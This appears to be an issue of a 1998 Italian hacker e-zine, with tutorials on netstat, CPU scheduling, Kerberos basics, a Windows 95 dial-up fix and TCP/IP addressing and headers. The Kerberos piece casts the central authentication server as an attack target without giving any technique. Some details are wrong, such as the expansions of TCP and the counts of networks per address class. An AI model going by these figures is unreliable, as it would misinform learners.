L'indirizzo 150.100.190.11 e' l'indirizzo della mia macchina sulla LAN, mentre
193.76.58.131 E' l'indirizzo internet atribuito automaticamente dal provider;
137 e 138 sono i numeri dei servizi NetBiosName e NetBiosDatagram (standard
anche su Unix). UDP indica che si tratta di servizi di tipo User Datagram
Protocol, cioe' di servizi privi di un vero e proprio protocollo di sincronia
tra processi in grado di garantire che tutti i pacchetti spediti siano arrivati
effettivamente a destinazione e in una sequenza prestabilita (in altre parole,
manca una negoziazione tra i processi all'inizio della trasmissione).

Ecco come cambia l'output nel momento in cui effettuo una connessione FTP (ad
esempio mediante il programma FTP.EXE) verso una macchina della rete locale:
Active Connections

Proto Local Address Foreign Address State
TCP zeta-:1136 pippo:ftp ESTABLISHED
UDP zeta-:nbname *:*
UDP zeta-:nbdatagram *:*
UDP zeta-:nbname *:*
UDP zeta-:nbdatagram *:*

Come si vede e' comparsa una nuova riga in testa alla lista di connessioni, la
quale indica che la macchina zeta- ha aperto un nuovo socket (un nuovo canale
di comunicazione, il numero 1136) e si e' connessa al servizio ftp della
macchina pippo; la connessione e' attiva (ESTABLISHED) ed e' di tipo TCP.
TCP sta per Transport Control Protocol e, a differenza dello UDP, e' un vero e
proprio protocollo che implementa controlli interprocesso per verificare
l'integrita' e la completezza della trasmissione.
Ancora una volta, l'opzione -n mi permette di verificare su quale interfaccia
e' attiva la connessione, infatti la prima linea sara'

Proto Local Address Foreign Address State

TCP 150.110.190.11:1136 150.113.150.11:21 ESTABLISHED

si nota, tra l'altro, che la porta standard ftp e' la 21; inoltre, dato che
l'indirizzo della macchina target evidenzia un net address (150.113) diverso
da quello della mia macchina (150.110), se ne deduce che da qualche parte ci
deve essere un router che mette in comunicazione le due reti.
Una rapida verifica, oltre che con il programma ROUTE.EXE, puo' essere fatta
con lo stesso netstat, mediante l'opzione -r. L'output del comando netstat -r
sara' il seguente (i puntini indicano che ho eliminato alcune righe non
significative ai fini dell'esempio):

Route Table

Active Routes:

Net Address Netmask Gateway Address Interface Metric

150.13.0.0 255.255.0.0 150.110.12.54 150.110.190.11 1

Il router (o gateway) che consente ai pacchetti indirizzati a macchine sulla
rete 150.13 e' la macchina con indirizzo 150.110.12.54, e l'interfaccia (scheda
di rete) che la vede direttamente e' quella LAN (150.110.190.11): infatti il
net address e' il medesimo (150.110).
Se mi connetto al mail server per ricevere e spedire le mie email, nell'output
di netstat compariranno righe analoghe alle seguenti:

Proto Local Address Foreign Address State

TCP 194.166.51.92:1137 193.76.58.158:110 ESTABLISHED
TCP 194.166.51.92:1138 193.76.58.158:25 ESTABLISHED

La prima e' quella relativa al servizio POP (ricezione delle email), mentre la
seconda e' relativa al servizio SMTP (spedizione delle mail); anche questi
servizi sono uno standard dettato da Unix. Come era prevedibile, si tratta di
sockets TCP.
Un'altra interessante opzione di netstat e' la -e, che visualizza le statistiche
relative all'attivita' su rete ethernet. Ecco un output di esempio:

Interface Statistics

Received Sent

Bytes 30540632 335893
Unicast packets 4598 4401
Non-unicast packets 61379 302
Discards 0 0
Errors 0 0
Unknown protocols 13

Oltre al numero di bytes complessivamente ricevuti e inviati, viene visualizzato
il numero di pacchetti, suddivisi in Unicast (pacchetti indirizzati da una
macchina ad un altra, anche conosciuti come point-to-point) e Non-unicast
(pacchetti inviati da una macchina a piu' di una macchina, i cosiddetti
broadcast e multicast, che sono, in genere, di tipo UDP).

L'opzione -s forza netstat a visualizzare statistiche raggruppate per tipo di
pacchetto e puo' essere filtrata con l'opzione -p, che consente di specificare
il tipo di pacchetto. Ad esempio, per visualizzare le statistiche relative ai
pacchetti UDP, si puo' dare il comando netstat -sp UDP.

Infine, netstat offre la possibilita' di specificare un intervallo (in secondi)
per ottenere la ripetizione delle statistiche di rete: ad esempio il comando
netstat -a 2 visualizza un output analogo a quelli esaminati sin qui per
l'opzione -a ogni 2 secondi: in tal modo e' possibile tenere sotto osservazione
i diversi servizi utilizzati e la loro evoluzione nel tempo, cioe' il mutare
del loro State, che oltre a ESTABLISHED puo' assumere diversi valori, tra cui,
ad esempio TIME_WAIT (quando e' in attesa di risposta dalla macchina remota) e
CLOSE_WAIT (quando la macchina remota ha appena chiuso il servizio).

Barninga Z

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ SISTEMI OPERATIVI ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ


Un carissimo saluto a tutti... partecipo a questa e-zine con una digressione
teorica e sottolineo teorica sui sistemi operativi. Premetto subito che le
spiegazioni che troverete si riferiscono agli OS in generale... l'argomento
si presenta forse un po' palloso ma molto utile per capire approfonditamente
il funzionamento dei sistemi.
Ringrazio tutti quelli che, vista l'introduzione, non si sono spaventati e
hanno continuato la lettura spinti dalla loro voglia irresistibile di apprendere.
Incominciamo.

Che cos'e' un OS? Letteralmente un OS costituisce l'interfaccia tra la macchina
e l'utente. Esso coordina le risorse del sistema e gestisce gli eventi che
derivano dall'uso dell'OS stesso. Le risorse possono essere definite come le
entita' hardware o software che concorrono allo sviluppo di un qualsiasi processo
produttivo. <A questo punto mi rimarranno 2 lettori>. La struttura tipica di
un OS viene normalmente schematizzata come struttura a "cipolla" e comprende
i seguenti livelli:

* Utilizzo e sincronizzazione della CPU.
* Gestione della memoria centrale (RAM).
* Gestione delle periferiche di I/O.
* Gestione del File System.
* Interfaccia utente.
* Applicazioni con funzione di utilita' per l'utente.

Gestione dei Processi.

Iniziamo con l'analisi completa dei processi. Per capire cosa sono i processi
bisogna rifarsi al concetto di programma che e' definibile come una sequenza di
istruzioni da eseguire.
Il processo, invece, e' la conseguenza dell'esecuzione delle citate istruzioni
e quindi della gestione delle risorse coinvolte. In breve possiamo dire che il
processo e l'insieme degli stati assunti dal sistema durante l'esecuzione dei
programmi. Gli stati che un processo puo' assumere all'interno dell'elaboratore
sono tre e precisamente:

* stato di ready quando il processo attende la disponibilita' della CPU.
* stato di running quandi il processo viene eseguito dalla CPU.
* stato di waiting quando il processo richiede l'intervento di un'altra risorsa.

Cmq, per capire, facciamo un esempio e immaginiamo di scrivere un programmino
del cazzo in C... dopo prendiamo il nostro bravo compilatore GCC e creiamo
l'eseguibile; ecco a questo punto il compilatore trasforma il codice in una
serie di istruzioni sequenziali. Ma cosa accade quando mandiamo il nostro
processo in esecuzione? Il processo viene messo in ready dalla CPU poi la CPU
esegue il processo in running e a questo punto o completa l'esecuzione o
finisce in waiting in seguito ad una richiesta del programma di fornire un
Input (per esempio e' richiesto l'inserimento di una dato da tastiera).
Adesso direte bravo bella forza... ci voleva tanto. Beh immaginate che
l'ambiente in cui lavoriamo sia multi-tasking (ovvero la possibilita' di
eseguire piu processi contemporaneamente) e magari anche multi-utente; le cose
cambiano avremo centinaia o migliaia di processi che richiederanno la loro
esecuzione e se ancora non l'avete capito la CPU esegue solo un processo per
volta in quanto e' una risorsa non divisibile ma interrompibile. I problemi
sono pertanto enormi e richiedono l'utlizzo di algoritmi di gestione che
andremo ora ad analizzare. Le strategie di gestione sono cosi classificabili:

* Politica event driven
<Il passaggio da uno stato all'altro avviene in base agli eventi come la
terminazione di un processo in esecuzione o una richiesta di interruzione.>

* Politica time driven
<Il passaggio da uno stato all'altro avviene in base al fattore tempo. La CPU
serve a turno i vari processi, ripartendo equamente il tempo di servizio fino
all'esaurimento delle richieste.>

Analizziamo gli algoritmi event driven.

Algoritmo di gestione FCFS (First Come First Served).
E' l'algoritmo di gestione piu' semplice in assoluto; i processi vengono
serviti in base al loro ordine di arrivo fino alla terminazione o fino al
verificarsi di una interruzione esterna.
Lo svantaggio piu' evidente per l'utente consiste nella variabilita' del tempo
di risposta e nel rischi che il proprio lavoro non venga mai eseguito se un
altro processo tiene indefinatamente la CPU per se stesso.

Algoritmo di gestione SJF (Shortes Job First).
In base a questo criterio verra' eseguito per primo il processo che presenta
il minor numero di istruzioni.
Chiaramente i processi brevi anche se arrivati dopo passano davanti quindi
come svantaggio si nota una penalizzazione eccessiva dei processi con molte
istruzioni per i quali si possono generare situazioni di attesa indefinita.

Algoritmo di gestione SPTF (Shortest Job Time First)
Variante sofisticata del precedente algoritmo; viene fatta una stima a priori
del tempo di elaborazione e, successivamente, vengono scelti i processi in
modo da servire prima quelli che impegneranno in minor misura la CPU.

(NOTA DI N0bodY88 = siccome oggi ho preso 7 all'interrogazione di informatik anke
su questa cosa ringrazio Frensis e aggiungo all'ultima frase
che la stima non avviene calcolando i tempi in senso letterale
(sarebbe troppo lungo) ma guardando quante risorse e/o
periferiche utilizza, assegnando poi un tot di tempo ad ogni
risorsa utilizzata)

OSS: un miglioramento ai precedenti algoritmi consiste nel dare la precedenza
ai processi che presentano un grande numero di richieste di I/O e che pertanto
rilasciano spesso la risorsa passando frequentemente in waiting. Esistono poi
sistemi che utilizzano l' algoritmo a scheduling con priorita', ovvero assegnano
a ciascun processo un numero corrispondente alla priorita' ed eseguono prima
quelli con priorita' maggiore; questo puo' portare al cosiddetto fenomeno di
starvation verificatosi, credo, in un mainframe del M.I.T. di Boston dove un
processo con bassa priorita' rimase in ready per piu' di 2 anni senza mai essere
entrato in running.

Gli algoritmi event-driven sono cosi terminati e, parlando chiaro, non offrono
soluzioni ottimali e convenienti per un buon uso del processore. Diverso e'
invece il discorso per il time-driven che presenta l'algoritmo di gestione
Round-Robin. Questo algoritmo gestisce i processi attraverso il fattore-tempo
fissando il cosiddetto time-slice ovvero un unita' di tempo (per esempio un
decimo di secondo) conclusa la quale il processo o viene messo terminato o
viene messo in stato di ready. Cerchiamo di capirci <t.e= tempo di elaborazione>

* Arrivano i processi p(1) t.e=4/10 sec., P(2) t.e=2/10 sec., p(3) t.e=5/10 sec.
nella CPU; il time-slice viene fissato in 2/10 di sec.

* Il processo p(1) viene eseguito dalla CPU per primo e dopo 2/10 sec. esce
per lasciare spazio p(2) che avendo t.e=2/10 sec. viene terminato. Entra poi
p(3) che dopo i soliti 2/10 del cazzo esce e lascia il posto a p(1) che
termina la sua esecuzione e fa rientare p(3) che uscira' e rientrera'
immediatamente per essere terminato anch'esso.

Mi auguro che ci abbiate capito qualcosa. Cmq e' una belinata. Tranquilli.

Oss: al criterio round-robin possono essere aggiunti numerosi "optional" in
quanto puo' prevedere l'utilizzo delle priorita' o degli algoritmi precedente
mente illustrati che, naturalmente, vengono incorporati nel round-robin
stesso.
N:B: l'amatissimo sistema Unix funziona con il criterio event-driven a priorita'
e non come ho sentito dire un criterio FCFS.

Direi che la prima puntata sui sistemi operativi puo' dirsi conclusa. Forse ci
rivredremo al prossimo numero della e-zine con la gestione della RAM. Ho
certamente dimenticato molto e spero che qualcuno mi faccia sapere cosa ne
pensa!

La mia e-mail e' defcon5@iol.it. CIAO....

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ KERBEROS...IL CAGNACCIO ³º ulntwh99@freemail.it
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Premessa ...
Questo articolo non fa parte della mia esp. personale perche' e' stato tratto
da + libri/riviste et/quindi non stressatemi nella mia povera mail ....
eccheccaxx ne ho gia' abbastanza di msg a cui rispondere ...

Intro al Cane ...
Il sistema di autentificazione Kerberos e' stato sviluppato nel quadro del
progetto Athena del MIT(Massachussets Institute of Technology) .
Da allora Kerberos e' stato adottato da molte organizzazioni .
Inoltre , molti sviluppatori di applicazioni includono nei propri prodotti il
supporto per questo meccanismo di autenticazione .

Entriamo nel vivo dell'articolo ...
Kerberos e' 1 sistema di autenticazione , e' cioe' 1 sistema che certifica
l'identita' di un "principal" (cosi' viene indicato 1 utente oppure 1 servizio).
In entrambi i casi il principal viene definito mediante le seguenti tre
componenti :

- nome primario (primary name) ;
- istanza (istance) ;
- dominio (realm) ;

Nella terminologia utilizzata da Kerberos , queste tre componenti identificano
1a tupla di valori , come nell'esempio che vi sto per fare :

<primary_name, istance, realm>

Nel caso di un utente la primary_name e' la login di collegamento al sistema .
Istance e' nulla o contiene particolari info riguardanti l'utente stesso .
Nel caso di 1 servizio , primaryname e' il nome del servizio e si utilizza il
nome del sistema come istance ad es. rlogin.mymachine . In ogni caso il valore
realm viene utilizzato per distinguere differenti domini di autenticazione .
Usando il parametro realm e' possibile avere un server Kerberos diverso per
ciascuna sottosezione di un'organizzazione invece di un unico server
centralizzato .
Questa seconda situazione presenterebbe l'obiettivo principale per noi dal
momento che tale server dovrebbe essere dichiarato affidabile all'interno
dell'intera organizzazione .
Se cosi' e' impstato ...vai di fantasia !!!
I princypal di Kerberos ottengono dei tagliandi (ticket) da 1 server speciale
detto ticket-granting server .
Ciascun ticket e' formato da 1a serie di informazioni che identificano il
princypal codificato nella chiave privata per quel determinato servizio .
Dal momento che soltanto Kerberos e il servizio conoscono questa chiave ,
essa e' considerata autentica .
Il ticket distribuito dal ticket-granting server contiene 1a nuova chiave
privata di sessione conosciuta anche dal client .
Questa chiave viene spesso utilizzata per cifrare le transazioni che si
verificano durante una sessione .
Il maggior vantaggio fornito dall'approcio adottato in Kerberos e'
rappresentato dal fatto che ciascun ticket ha 1a durata specifica .
Al termine di questa e' necessario richiedere 1 nuovo ticket al
ticket-granting server .
Nel prossimo numero "Svantaggi del Kerberos" (quello che ci interessa ...) .

Al proxximo numero by ULNTWH99 .

aÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ GESTIRE + SCHEDE DI RETE CON WINDOWS 95 ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Windows 95 non riesce sempre a gestire correttamente
l'indirizzamento dei pacchetti IP sulla connessione SLIP o PPP (in
pratica, l'Acesso Remoto) se, al momento della sua attivazione, sulla
macchina e' attivo piu' di un protocollo TCP/IP.

In altre parole, se, ad esempio, sul pc sono installate due o piu'
schede di rete e su ciascuna e' attivo un protocollo TCP/IP col suo
bravo indirizzo, o vi e' una scheda sola alla quale e' associato piu' di
un indirizzo IP, non e' piu' possibile collegarsi ad Internet. O meglio,
ci si collega, ma non e' possibile raggiungere alcun sito ne' utilizzare
alcun servizio.

A occhio e croce si direbbe che in questi casi Windows 95 non
utilizzi l'indirizzo del Provider Internet (tanto per farla breve) quale
default gateway o non riesca ad utilizzarne il Domain Name Server.
Di conseguenza, i pacchetti destinati a Internet si perdono invece
sulle LAN locali oppure non vengono addirittura inviati.

I collegamenti LAN rimangono invece regolarmente funzionanti.

L'inconveniente ha un rimedio, consistente nel disabilitare
temporaneamente le schede LAN in modo che resti attivo al
massimo un protocollo TCP/IP oltre a quello dell'Accesso Remoto,
connettersi ad Internet, e riabilitare le schede a connessione attiva.

Per disabilitare una scheda LAN e' sufficiente cliccare col pulsante
destro sull'icona "Risorse del computer" (o "My Computer", per chi
ha la versione inglese) e selezionare "Proprieta'" dal pop-up menu
che appare. Compare un elenco di periferiche. Cliccando col
pulsante sinistro sul "+" a sinistra del simbolo delle schede di rete
viene visualizzato l'elenco delle schede di rete installate sulla
macchina, la prima delle quali e' la "scheda" (sarebbe meglio parlare
di driver) per l'Accesso Remoto. Selezionando una delle schede e
cliccando sul button "Proprieta'" si apre una finestra in fondo alla
quale e' presente un elenco di configurazioni (di solito una sola,
quella "corrente"), ciascuna corredata di un checkbox. E' sufficiente
cliccare sui checkbox in modo che siano tutti vuoti (e percio' disattive
le configurazioni corrispondenti) e cliccare poi su "OK".

A questo punto si puo' attivare la connessione ad Internet come di
consueto e, a collegamento avvenuto, se lo si desidera e' possibile
riabilitare la scheda (o le schede) precedentemente disabilitate.

Per riabilitare una scheda si segue la stessa procedura, ma questa
volta bisogna far ricomparire il checkmark dentro il "quadratino".

Se dopo avere disabilitato le schede il collegamento PPP continua a
non funzionare, allora e' necessario (ma guarda un po') effettuare un
bootstrap: la macchina ripartira' con le schede gia' disabilitate, e
queste potranno essere riabilitate una volta stabilita la connessione
dialup.

Barninga Z

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ TCP/IP (QUELLO CHE ANCORA NON  STATO DETTO) ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

NO (C)1998 DarkSide

Siamo cosi' giunti al secondo numba, questa volta l'argomento di cui trattero'
e' molto pi— complesso del precedente quindi, prima di cominciare, leggere
bene il foglietto illustrativo.

Indicazioni terapeutiche
-----------------------------------------------------------------------------
Indicato per chi di TCP/IP & company non sa NIENTE.

Avvertenze
-----------------------------------------------------------------------------
Tenere fuori dalla portata dei bambini.

Sovradosaggio
-----------------------------------------------------------------------------
L'iperdosaggio potrebbe provocare uno stato di confusione mentale.

Effetti collaterali
-----------------------------------------------------------------------------
RARAMENTE a decorrenza fatale :).


Composizione
-----------------------------------------------------------------------------
Ok, si comincia...

La sigla TCP/IP fa riferimento a un set di protocolli utilizzati dai computer
per trasmettere le informazioni, e' di semplice intuizione che essi sono alla
base di Internet.

I 4 protocolli TCP/IP pi— utilizzati sono:

1) IP Internet Protocol: che si occupa di trasferire i dati fra i computer
host della rete.
2) TCP Transfer Control Protocol: sposta tra le applicazioni i dati
costituiti da pi— pacchetti.
3) UDP User Datagram Protocol: Svolge lo stesso compito del TCP tuttavia e'
meno affidabile in quanto trasferisce un unico pacchetto di dati.
4) ICMP Internet Control Message Protocol: Comunica messaggi di errore e
altre condizioni che richiedano attenzione.

Il TCP/IP e' stato realizzato sulla base di un modello concettuale chiamato
ISO/OSI ovvero: International Standards Organization / Open Systems
Interconnection (1977 - 1984).

Tale modello descrive il flusso dei dati tra il collegamento fisico alla rete
e l'applicazione dell'utente finale, ed e' suddiviso in 7 livelli ognuno dei
quali fornisce determinati servizi a quelli sovrastanti.
Si deve considerare che ogni livello, non sa cosa fanno gli altri e inoltre,
comunica solo con quello immediatamente sovrastante e/o sottostante.

Il modello OSI puo' essere schematizzato come segue:

LIVELLO TIPO DI DATI
________________________________________________________
| | | <-- Comando +
7 | Livello swll'applicazione | Messaggi | eventuali dati
|_________________________________|______________________|
| | |
6 | Livello di presentazione | Messaggi |
|_________________________________|______________________|
| | |
5 | Livello della sessione | Messaggi |
|_________________________________|______________________|
| | |
4 | Livello del trasporto | Messaggi |
|_________________________________|______________________|
| | | <-- blocco
3 | Livello della rete | Pacchetti | elementare di
|_________________________________|______________________| dati
| | | <-- sequenze di
2 | Livello data-link | Trame | bit
|_________________________________|______________________|
| | | <-- Unit…
1 | Livello fisico | Bit | minima di
|_________________________________|______________________| informazione

poiche' ad ogni livello e' associato almeno un protocollo che ne definisce la
funzione, possiamo dire in senso figurato che i protocolli sono disposti uno
sull'altro, ed e' per questo che si parla di stack (o pila) di protocolli.

L'implementazione TCP/IP del modello ISO/OSI utilizza solo 5 dei 7 livelli
sopra citati come illustra il seguente schema:

( OGNI COLLEGAMENTO DEVE ESSERE CONSIDERATO BIDIREZIONALE )
___________________________________________________________________________
| | |
| Livello della| Programma Programma Programma Programma |
| applicazione | | | | | |
|_______________|________|_____________|_____________|_____________|________|
| | | | | | |
| Livello del | | TCP | UDP |
| trasporto | | \ | / |
|_______________|________|________________\__________|__________/___________|
| | | \ _______|_______ / |
| Livello | ICMP------------------|______IP_______|--------IGMP |
| della rete | | |
|_______________|____________________________________|______________________|
| | | |
| Livello | ARP---------Interfaccia----------RARP |
| data-link | hardware |
|_______________|____________________________________|______________________|
| | | |
| Livello | | |
| fisico | LINNEE DI TRASMISSIONE |
|_______________|___________________________________________________________|

nello schema sono citati solo alcuni tra i protocolli pi— conosciuti mentre,
nella realt…, le relazioni tra i livelli del modello OSI e lo stack dei
protocolli TCP/IP sono molto pi— numerose, tenete presente che sto
riassumendo... :).

Per comprendere meglio vediamo ora lo scopo di ciascun livello all'interno
del protocollo TCP/IP, ma prima PAUSA MARLBORO ... ( se non ci fossero
bisognerebbe inventarle ).

Ok, proseguiamo...

1) Il livello fisico, trasmette i bit di dati attraverso il mezzo fisico
(doppino, cavo di rete ecc...).

2) Il livello data-link, gestisce i trame, e' dotato di un'interfaccia
hardware che normalmente corrisponde alla scheda di rete installata sul
computer.
Include diversi moduli di protocollo tra cui:
ARP (Address Resolution Protocol)
RARP (Reverse Address Resolution Protocol)
SLIP (Serial Line Internet Protocol)
PPP (Point-to-Point Protocol)
e altri...

3) Il livello della rete, all'estremit… del mittente converte i pacchetti in
trame di dati pi— piccoli.
All'estremit… del ricevente, unisce nuovamente le trame ricostruendo i
vari pacchetti.
Poiche' contiene il modulo IP tale livello rappresenta il nucleo centrale di
qualsiasi rete basata sui protocolli TCP/IP.
I protocolli ICMP e IGMP citati nello schema gestiscono alcuni messaggi
particolari quali quelli di errore e quelli di multicast (messaggi inviati
a pi— sistemi).

4) Il livello del trasporto, all'estremit… del mittente, divide i messaggi
in vari pacchetti.
All'estremit… del ricevente ricompone i messaggi originali e invia un
riscontro dell' avvenuta ricezione.
Controlla inoltre che i dati vengano ricevuti nell'ordine esatto entro il
tempo stabilito, in caso di errore chiede che i dati vengano ritrasmessi.

5) Il livello delle applicazioni, invia e riceve i dati inviati dal livello
di trasporto.

Arrivati a questo punto dovreste essere in grado di capire come avviene il
passaggio dei dati da un livello all'altro, per chiarire ogni possibile
dubbio passiamo ad un esempio.

Supponiamo di dover spedire un file qualsiasi...

1) Il programma preposto invia il file verso il basso nello stack dei
protocolli fino a raggiungere il livello di trasporto.

2) Il livello di trasporto allega al file la propria intestazione e lo invia
al livello di rete.

3) Il livello della rete suddivide il file in pacchetti, ai quali aggiunge
ulteriori informazioni di intestazione e invia i pacchetti al livello
data-link.

4) Il livello data link esegue un ulteriore suddivisione e invia i trame al
livello fisico.

5) Il livello fisico trasmette i trame lungo la rete sotto forma di impulsi
elettrici.

6) Gli impulsi passano attraverso vari dispositivi di rete che si trovano tra
il computer trasmittente e quello ricevente.
Ogni computer controlla di non essere la destinazione e in tal caso fa
procedere verso la meta ( La verifica e' a carico del livello di rete ).

7) Nel computer ricevente, attraverso il processo inverso il file viene
ricreato, ( tale processo e' volontariamente omesso perche' e' di semplice
deduzione ).

La verifica della destinazione e l'indirizzamento dei pacchetti sono possibili
grazie a una combinazione di 32 bit ( 4 byte ) che identifica univocamente un
qualsiasi computer connesso ad Internet, come molti di voi avranno gi… capito,
mi riferisco all'IP Address.

I bit di un indirizzo IP vengono interpretati nel seguente modo:

<Indirizzo di Rete, Indirizzo dell'Host>

Il primo identifica la rete a cui siete collegati, mentre il secondo
identifica il vostro PC.
A seconda del numero di computer da cui e' costituita una rete possiamo
distinguere diverse classi di indirizzi ovvero:

Classe A: byte pi— significativo da 1 a 126 0, 127 riservati
Classe B: byte pi— significativo da 128 a 191
Classe C: byte pi— significativo da 192 a 223
Classe D: byte pi— significativo da 224 a 239
Classe E: byte pi— significativo da 240 a 254 255 riservato

per byte pi— significativo si intende quello pi— a sinistra.

La classe specifica il numero di byte che l'indirizzo utilizza per
identificare la rete.

Nel dettaglio possiamo dire che:

comunemente vengono usate solo le prime 3...

La classe A:
Puo' avere 16.777.214 host per rete e un totale di 126 reti.
1 byte disponibile per ID di rete, i rimanenti 3 identificano l'host.
Il byte pi— significativo inizia sempre con il bit 0.

La classe B:
64.516 host per rete e untotale di 16.256 reti.
2 byte disponibili per ID di rete, i rimanenti 2 identificano l'host.
Il byte pi— significativo inizia sempre con i bit 10.

La classe C:
254 host per rete e 2.064.512 reti.
3 byte disponibili per ID di rete, il rimanente byte identifica l'host.
Il byte pi— significativo inizia sempre con i bit 110.

La classe D:
Utilizzata negli indirizzi multicast.
Il byte pi— significativo inizia sempre con i bit 1110.

La classe E:
 riservata per usi futuri.
Il byte pi— significativo inizia sempre con i bit 11110.

Uno spot su...
I Byte riservati.

Un campo contenente il valore 0 viene interpretato come "questo", per esempio
l' indirizzo 0.0.0.154 significa numero di host 154 su questa rete di
classe C.

L'indirizzo di classe A 127 tipicamente 127.0.0.1 per convenzione e' utilizzato
come indirizzo di loopback, chi di voi non lo ha mai usato durante i vari
esperimenti di hacking off-line ? ;)

Se un campo dell'indirizzo contiene il Nø 255, questo rappresenta un indirizzo
broadcast (messaggio destinato a tutti i computer della rete) ad esempio,
181.54.255.255 identifica tutti gli host della rete di classe B 181.54.

In alcune reti anche 0 e' un indirizzo broadcast.

Riprendiamo...

dovrebbe a questo punto essere chiaro il quantomeno ostico schema di
indirizzamento TCP/IP, oltre che il concetto sul quale si basa qualsiasi
domscan.

Il compito di aggiungere l'ip sorgente e destinazione spetta al livello della
rete che, ad ogni pacchetto aggiunge la seguente intestazione o header che dir
si voglia:

0 15 16 31 /
---------------------------------------------------------------------- |
| 4-bit | 4-bit | 8-bit TOS | 16-bit total lenght | |
|version|head.len| Type Of Service| (in bytes) | |
---------------------------------------------------------------------- |
| 16-bit | 3-bit| 13-bit | |
| identification | flags| fragment offset | |
---------------------------------------------------------------------- |
| 8-bit TTL | 8-bit | 16-bit | 20
| time to live | protocol | header checksum | bytes
---------------------------------------------------------------------- |
| 32-bit source IP address | |
---------------------------------------------------------------------- |
| 32-bit destination IP address | |
---------------------------------------------------------------------- \
/ options /
----------------------------------------------------------------------
\ data \
----------------------------------------------------------------------

tuttavia per stabilire una connessione affidabile non e' sufficente il solo IP
in quanto, similmente all'UDP, fornisce un servizio di tipo inaffidabile,
ConnectionLess, le informazioni sono trasmesse come unit… indipendenti, in
altre parole non e' detto che la sequenza di invio dei dati sia la stessa con
la quale essi giungono a destinazione quindi, se il computer ricevente
richiede l'invio di dati sequenziali capite bene che sono problemi non
indifferenti, inoltre non e' detto che i dati giungano a destinazione.

Delegato a rendere affidabile una connessione e' l'header TCP, che viene
aggiunto dal livello di trasporto...

0 15 16 31 /
---------------------------------------------------------------------- |
| 16-bit source port number | 16-bit destination port number | |
---------------------------------------------------------------------- |
| 32-bit sequence number | |
---------------------------------------------------------------------- |
| 32-bit acknowledgment number | 20
---------------------------------------------------------------------- bytes
| 4-bit | reserved |U|A|P|R|S|F| | |
| header | |R|C|S|S|Y|I| 16-bit window size | |
| lenght | (6-bits) |G|K|H|T|N|N| | |
---------------------------------------------------------------------- |
| 16-bit checksum | 16-bit urgent pointer | |
---------------------------------------------------------------------- \
/ options /
----------------------------------------------------------------------
\ data \
----------------------------------------------------------------------

